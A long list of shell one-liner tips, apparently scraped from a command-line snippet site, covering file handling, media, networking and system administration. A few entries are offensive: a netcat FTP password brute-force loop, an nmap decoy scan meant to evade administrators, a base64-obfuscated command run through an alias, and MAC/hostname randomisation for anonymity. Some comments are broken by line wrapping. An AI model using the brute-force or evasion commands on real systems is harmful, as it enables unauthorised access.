dd if=/path/inputfile | pv | dd of=/path/outpufile
# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# Do some learning...
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
# Display the output of a command from the first line until the first instance o
f a regular expression.command | sed -n '1,/regex/p'
# Update twitter via curl
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Mute xterm
xset b off
# Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none -layers merge +repage {$file_out}
# Retrieve a random command from the commandlinefu.com API
wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p'
# Quickly create simple text file from command line w/o using vi/emacs
cat > <file_name> << "EOF"
# Synthesize text as speech
echo "hello world" | festival --tts
# Salvage a borked terminal
echo <ctrl-v><esc>c<enter>
# stop man page content from disappearing on exit
echo "export LESS='FiX'" >> ~/.bashrc
# Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
# show dd progress
killall -USR1 dd
# pretend to be busy in office to enjoy a cup of coffee
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
# Random unsigned integer
echo $RANDOM
# Display which user run process from given port name
fuser -nu tcp 3691
# sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>
# randomize hostname and mac address, force dhcp renew. (for anonymous networkin
g)dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
# Execute multiple commands from history
!219 ; !229 ; !221
# Exclude svn directories with grep
grep -r --exclude-dir=.svn PATTERN PATH
# Rapidly invoke an editor to write a long, complex, or tricky command
<ESC> v
# Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\)/\1\n/g'
# Execute a command on logout
trap cmd 0
# Lets Tux say the random fact. [add it to .bashrc to see it in new terminal win
dow]wget randomfunfacts.com -O - 2>/dev/null|grep \<strong\>|sed "s;^.*<i>\(.*\)</i>.*$;\1;"|cowsay -f tux
# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
# Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
# know the current running shell (the true)
echo $0
# gzip compression with progress bar and remaining time displayed
pv file | gzip > file.gz
# which process has a port open
lsof -i :80
# quick input
alt + .
# Quickly analyze apache logs for top 25 most common IP addresses.
cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25
# recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
# Validate and pretty-print JSON expressions.
echo '{"json":"obj"}' | python -m simplejson.tool
# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
# Recompress all .gz files in current directory using bzip2 running 1 job per CP
U core in parallelparallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz
# command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
# Show IP Address in prompt --> PS1 var
export PS1="[\u@`hostname -I` \W]$ "
# Removes file with a dash in the beginning of the name
rm -- --myfile
# Increase mplayer maximum volume
mplayer dvd:// -softvol -softvol-max 500
# create shortcut keys in bash
bind -x '"\C-p"':pwd
# log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log
# On screen display of a command.
date|osd_cat
# convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'
# Create an SSH tunnel for accessing your remote MySQL database with a local por
tssh -CNL 3306:localhost:3306 user@site.com
# Copy history from one terminal to another
history -w <switch to another terminal> history -r
# Submit data to a HTML form with POST method and save the response
curl -sd 'rid=value&submit=SUBMIT' <URL> > out.html
# vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
# Replace spaces in filenames with underscores
rename 's/ /_/g' *
# Copy without overwriting
cp -n <src> <dst>
# Merges given files line by line
paste -d ',:' file1 file2 file3
# Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL
# Show the UUID of a filesystem or partition
blkid /dev/sda7
# split a string (2)
read VAR1 VAR2 VAR3 < <(echo aa bb cc); echo $VAR2
# Create QR codes from a URL.
qrurl() { curl "http://chart.apis.google.com/chart?chs=150x150&cht=qr&chld=H%7C0&chl=$1" -o qr.$(date +%Y%m%d%H%M%S).png; }
# Bash prompt with user name, host, history number, current dir and just a touch
of colorexport PS1='\n[\u@\h \! \w]\n\[\e[32m\]$ \[\e[0m\]'
# Print just line 4 from a textfile
awk 'NR==4'
# see who's using DOM storage a/k/a Web Storage, super cookies
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev
# Display connections histogram
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'\''
# Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd
# Timer with sound alarm
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }; sleep 3s && say "wake up, you bastard"
# Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv
# Google text-to-speech in mp3 format
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }
# Merge PDFs into single file
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...
# Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
# Compare directories via diff
diff -rq dirA dirB
# Calculate N!
seq -s* 10 |bc
# Create a QR code image in MECARD format
qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:chris.lee@somedomain.com;;'
# Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo
# Compress a series of png pictures to an avi movie.
mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
# find .txt files inside a directory and replace every occurrance of a word insi
de them via sedfind . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
# Get all files of particular type (say, PDF) listed on some wegpage (say, examp
le.com)wget -r -A .pdf -l 5 -nH --no-parent http://example.com
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
# ROT13 whole file in vim.
ggg?G
# List your sudo rights
sudo -l
# Killing processes with your mouse in an infinite loop
while true; do xkill -button any; done
# Generate a graph of package dependencies
apt-cache dotty apache2 | dot -T png | display
# List all authors of a particular git project
git log --format='%aN' | sort -u
# check open ports (both ipv4 and ipv6)
netstat -plnt
# check the status of 'dd' in progress
watch -n 10 killall -USR1 dd
# Instantly load bash history of one shell into another running shell
$ history -a #in one shell , and $ history -r #in another running shell
# One liner to kill a process when knowing only the port where the process is ru
nningfuser -k <port>
# dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar
# get bofh excuse from a trusted source :-)
telnet bofh.jeffballard.us 666
# Apply permissions only to files
chmod 644 $(find . -type f)
# Convert a string to "Title Case"
echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
# Robust expansion (i.e. crash) of bash variables with a typo
set -eu
# autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
# List just the executable files (or directories) in current directory
ls *(.x)
# grep certain file types recursively
grep -r --include="*.[ch]" pattern .
# ROT13 using the tr command
alias rot13="tr a-zA-Z n-za-mN-ZA-M"
# Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb
# Advanced LS Output using Find for Formatted/Sortable File Stat info
find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'
# skip broken piece of a loop but not exit the loop entirely
ctrl + \
# Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
# search ubuntu packages to find which package contains the executable program p
rogramnameapt-file find bin/programname
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -delete
# Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less
# Scan Network for Rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
# Create a file of a given size in linux
truncate -s 1M file
# Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
# ubuntu easter eggs
apt-get moo
# Copy specific files to another machine, keeping the file hierarchy
tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
# Copy an element from the previous command
!:n
# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
# recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
# Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; }
# merge vob files to mpg
cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg
# Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
# Play 89.3 @TheCurrent and get system notifications on song changes.
mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "$line";done
# Command for JOHN CONS
alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
# Selecting a random file/folder of a folder
shuf -n1 -e *
# Find all symlinks that link to directories
find -type l -xtype d
# find all active IP addresses in a network
nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether"
# sends your internal IP by email
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
# Sets shell timeout
export TMOUT=10
# direct a single stream of input (ls) to multiple readers (grep & wc) without u
sing temporary filesls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count
# VIM version 7: edit in tabs
vim -p file1 file2 ...
# Find the cover image for an album
albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
# Execute text from the OS X clipboard.
`pbpaste` | pbcopy
# Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
# Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'
# Open files in a split windowed Vim
vim -o file1 file2...
# Click on a GUI window and show its process ID and command used to run the proc
essxprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
# create iso image from a directory
mkisofs -o XYZ.iso XYZ/
# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ;
# Print a list of installed Perl modules
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);'
# Watch Aljazeera live
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer -
# Interactively build regular expressions
txt2regex
# Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20
# Decreasing the cdrom device speed
eject -x 4
# Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
# Perl One Liner to Generate a Random IP Address
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
# List the largest directories & subdirectoties in the current directory sorted
from largest to smallest.du -k | sort -r -n | more
# show ls colors with demo
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
# Another Matrix Style Implementation
COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -
# View files opened by a program on startup and shutdown
sudo lsof -rc command >> /tmp/command.txt
# Enter parameter if empty (script becomes interactive when parameters are missi
ng)param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
# Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
# shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }
# rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir
# Silently Execute a Shell Script that runs in the background and won't die on H
UP/logoutnohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&
# Update twitter from command line without reveal your password
curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml
# Sync MySQL Servers via secure SSH-tunnel
ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost
# Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes
# Visualizing system performance data
(echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png
# ARP Scan
sudo arp-scan -l
# Skip over .svn directories when using the
find . -name .svn -prune -o -print
# List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }
# backup and synchronize entire remote folder locally (curlftpfs and rsync over
FTP using FUSE FS)curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
# Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
# Get your external IP address without curl
wget -qO- icanhazip.com
# Protect directory from an overzealous rm -rf *
sudo chattr -R +i dirname
# Backup sda5 partition to ftp ( using pipes and gziped backup )
dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
# Get a brief overview of how many files and directories are installed
locate -S
# Install a local RPM package from your desktop, then use the YUM repository to
resolve its dependencies.yum localinstall /path/to/package.rpm
# Edit the last or previous command line in an editor then execute
fc [history-number]
# lotto generator
shuf -i 1-49 | head -n6 | sort -n| xargs
# nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
# Show top committers for SVN repositority for today
svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
# Get pages number of the pdf file
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
# ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>
# Get the total length of all video / audio in the current dir (and below) in H:
m:sfind -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
# Turn On/Off Keyboard LEDs via commandline
xset led 3
# Show 'Hardware path'-style tree of all devices in Linux
lshw -short
# Remove trailing space in vi
:%s/\s\+$//
# Real full backup copy of /etc folder
rsync -a /etc /destination
# Alert on Mac when server is up
ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1'
# show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)
# Grep syslog today last hour
grep -i "$(date +%b\ %d\ %H)" syslog
# Comment current line
<ESC> #
# Port scan a range of hosts with Netcat.
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
# Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz
# See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt
# Kill any process with one command using program name
killall <name>
# Launch a VirtualBox virtual machine
VBoxManage startvm "name"
# deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag
# Check reverse DNS
dig +short -x {ip}
# create an incremental backup of a directory using hard links
rsync -a --delete --link-dest=../lastbackup $folder $dname/
# Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr | less
# background a wget download
wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz
# Show all programs on UDP and TCP ports with timer information
netstat -putona
# Print trending topics on Twitter
curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}'
# Remux an avi video if it won't play easily on your media device
mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi
# Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
# C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
# Download all Phrack .tar.gzs
curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
# Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg
# Use Linux coding style in C program
indent -linux helloworld.c
# Search previous commands from your .bash_history
ctrl + r
# save date and time for each command in history
export HISTTIMEFORMAT='%F %T '
# Recursively grep thorugh directory for string in file.
grep -r -i "phrase" directory/
# Create a zip file ignoring .svn files
zip -r foo.zip DIR -x "*/.svn/*"
# Script executes itself on another host with one ssh command
[ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client
# cd to (or operate on) a file across parallel directories
cd ${PWD/a/b}
# create pdf files from text files or stdout.
enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout)
# change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
# Give to anyone a command to immediatly find a particular part of a man.
man <COMMAND> | less +'/pattern'
# ASCII webcam live stream video using mplayer
mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16 -vo aa tv://
# Check if your webserver supports gzip compression with curl
curl -I -H "Accept-Encoding: gzip,deflate" http://example.org
# Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022
# Huh? Where did all my precious space go ?
ls -la | sort -k 5bn
# Parse a quoted .csv file
awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
# run command on a group of nodes
mussh -h host1 host2 host3 -c uptime
# reset hosed terminal
c() printf "\033c" #usage: c
# print multiplication formulas
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf
# Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file
# see the TIME_WAIT and ESTABLISHED nums of the network
netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
# lines in file2 that are not in file1
grep -Fxv -f file1 file2
# Indent a one-liner.
type <function name>
# Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date '-d +2 minutes' +'%M %k %d %m *'; }
# delete a particular line by line number in file
sed -i 3d ~/.ssh/known_hosts
# Get information about a video file
mplayer -vo dummy -ao dummy -identify your_video.avi
# Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES
# Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }
# Matrix Style
check the sample output below, the command was too long :(
# capture mysql queries sent to server
tshark -i any -T fields -R mysql.query -e mysql.query
# Consolle based network interface monitor
ethstatus -i eth0
# Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
# Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
# Use a decoy while scanning ports to avoid getting caught by the sys admin :9
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
# a function to create a box of '=' characters around a given string.
box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }
# Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
# Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
# find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
# vi keybindings with info
info --vi-keys
# run php code inline from the command line
php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
# Change newline to space in a file just using echo
echo $(</tmp/foo)
# climagic's New Year's Countdown clock
while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Move all files in subdirectories to current dir
find ./ -type f -exec mv {} . \;
# benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php
# do something else while waiting for an event, such as reboot
until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done
# sort lines by length
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
# Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv
# Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"
# connects to a serial console
screen /dev/ttyS0 9600
# List open IPv4 connections
lsof -Pnl +M -i4
# Show some trivia related to the current date
calendar
# ssh -A user@somehost
ssh -A user@somehost
# See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
# Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json
# Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
# Replace space in filename
rename "s/ *//g" *.jpg
# va - alias for editing aliases
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'
# Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
# Get the size of all the directories in current directory
du --max-depth=1
# recurisvely md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
# Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
# Make any command read line enabled (on *nix)
rlwrap sqlite3 database.db
# Quickly get summary of sizes for files and folders
du -sh *
# this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle
# Remove newlines from output
grep . filename
# Find 'foo' string inside files
find . -type f -print | xargs grep foo
# Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt
# Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"
# Netcat ftp brute force
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
# Start an X app remotely
ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}
# Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
# Unencrypted voicechat
On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666
# List files opened by a PID
lsof -p 15857
# Download an entire ftp directory using wget
wget -r ftp://user:pass@ftp.example.com
# Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit
# prevents replace an existing file by mistake
set -o noclobber
# How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt
# Transforms a file to all uppercase.
tr '[:lower:]' '[:upper:]' <"$1"
# Replace multiple file extensions with a single extension
for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done
# Hostname tab-completion for ssh
function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
# random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
# Shows what processes need to be restarted after system upgrade
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
# Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
# Go to the previous sibling directory in alphabetical order
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
# Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .
# Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match
# copy file to clipboard
xclip file.txt
# Extract a remote tarball in the current directory without having to save it lo
callycurl http://example.com/foo.tar.gz | tar zxvf -
# Google text-to-speech in local language or language of choice
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }
# Fast command-line directory browsing
function cdls { cd $1; ls; }
# make image semi-transparent
convert input.png -alpha set -channel A -fx 0.5 output.png
# Recording the desktop and an application audio source for webcast
ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv
# Display any tcp connections to apache
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
# Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
# determine if tcp port is open
nc -zw2 www.example.com 80 && echo open
# Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
